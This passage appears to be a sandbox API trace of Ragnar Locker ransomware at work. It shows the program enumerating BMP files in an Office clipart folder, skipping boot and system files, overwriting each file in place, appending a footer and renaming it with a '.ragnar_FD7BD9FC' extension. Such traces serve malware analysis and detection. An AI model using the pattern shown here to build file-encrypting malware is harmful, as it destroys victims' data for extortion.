nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.095] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.095] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.096] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.096] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.097] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.097] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.097] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.097] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.097] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.097] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.097] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.097] GetProcessHeap () returned 0x580000 [0090.097] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.097] CloseHandle (hObject=0xf4) returned 1 [0090.098] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" [0090.098] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ragnar_FD7BD9FC" [0090.098] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02208U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02208u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.098] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0090.098] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.098] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02223U.BMP" | out: lpString1="PH02223U.BMP") returned="PH02223U.BMP" [0090.098] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP") returned=".BMP" [0090.098] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.098] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="autorun.inf") returned 1 [0090.098] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="boot.ini") returned 1 [0090.098] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="bootfont.bin") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="bootsect.bak") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="bootmgr") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="bootmgr.efi") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="desktop.ini") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="iconcache.db") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="ntldr") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="ntuser.dat") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="ntuser.ini") returned 1 [0090.099] lstrcmpiW (lpString1="PH02223U.BMP", lpString2="thumbs.db") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.099] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp")) returned 0x20 [0090.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.100] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.100] GetProcessHeap () returned 0x580000 [0090.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.100] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.101] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.101] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.103] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.103] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.103] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.103] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.103] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.104] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.104] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.104] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.104] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.104] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.104] GetProcessHeap () returned 0x580000 [0090.104] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.104] CloseHandle (hObject=0xf4) returned 1 [0090.104] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" [0090.104] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ragnar_FD7BD9FC" [0090.104] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02223U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02223u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.105] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0090.105] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.105] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02291U.BMP" | out: lpString1="PH02291U.BMP") returned="PH02291U.BMP" [0090.105] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP") returned=".BMP" [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="autorun.inf") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="boot.ini") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="bootfont.bin") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="bootsect.bak") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="bootmgr") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="bootmgr.efi") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="desktop.ini") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="iconcache.db") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="ntldr") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="ntuser.dat") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="ntuser.ini") returned 1 [0090.105] lstrcmpiW (lpString1="PH02291U.BMP", lpString2="thumbs.db") returned -1 [0090.105] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.105] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.105] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.105] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.106] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.106] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.106] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp")) returned 0x20 [0090.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.106] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.106] GetProcessHeap () returned 0x580000 [0090.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.106] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.108] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.108] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.108] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.108] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.110] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.110] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.110] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.110] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.110] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.111] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.111] GetProcessHeap () returned 0x580000 [0090.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.111] CloseHandle (hObject=0xf4) returned 1 [0090.111] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" [0090.111] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ragnar_FD7BD9FC" [0090.111] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02291U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02291u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.112] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0090.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.112] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02398U.BMP" | out: lpString1="PH02398U.BMP") returned="PH02398U.BMP" [0090.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP") returned=".BMP" [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="autorun.inf") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="boot.ini") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="bootfont.bin") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="bootsect.bak") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="bootmgr") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="bootmgr.efi") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="desktop.ini") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="iconcache.db") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="ntldr") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="ntuser.dat") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="ntuser.ini") returned 1 [0090.112] lstrcmpiW (lpString1="PH02398U.BMP", lpString2="thumbs.db") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.112] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp")) returned 0x20 [0090.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02398U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02398u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.113] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.113] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.113] GetProcessHeap () returned 0x580000 [0090.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.113] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.114] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.115] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.115] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, 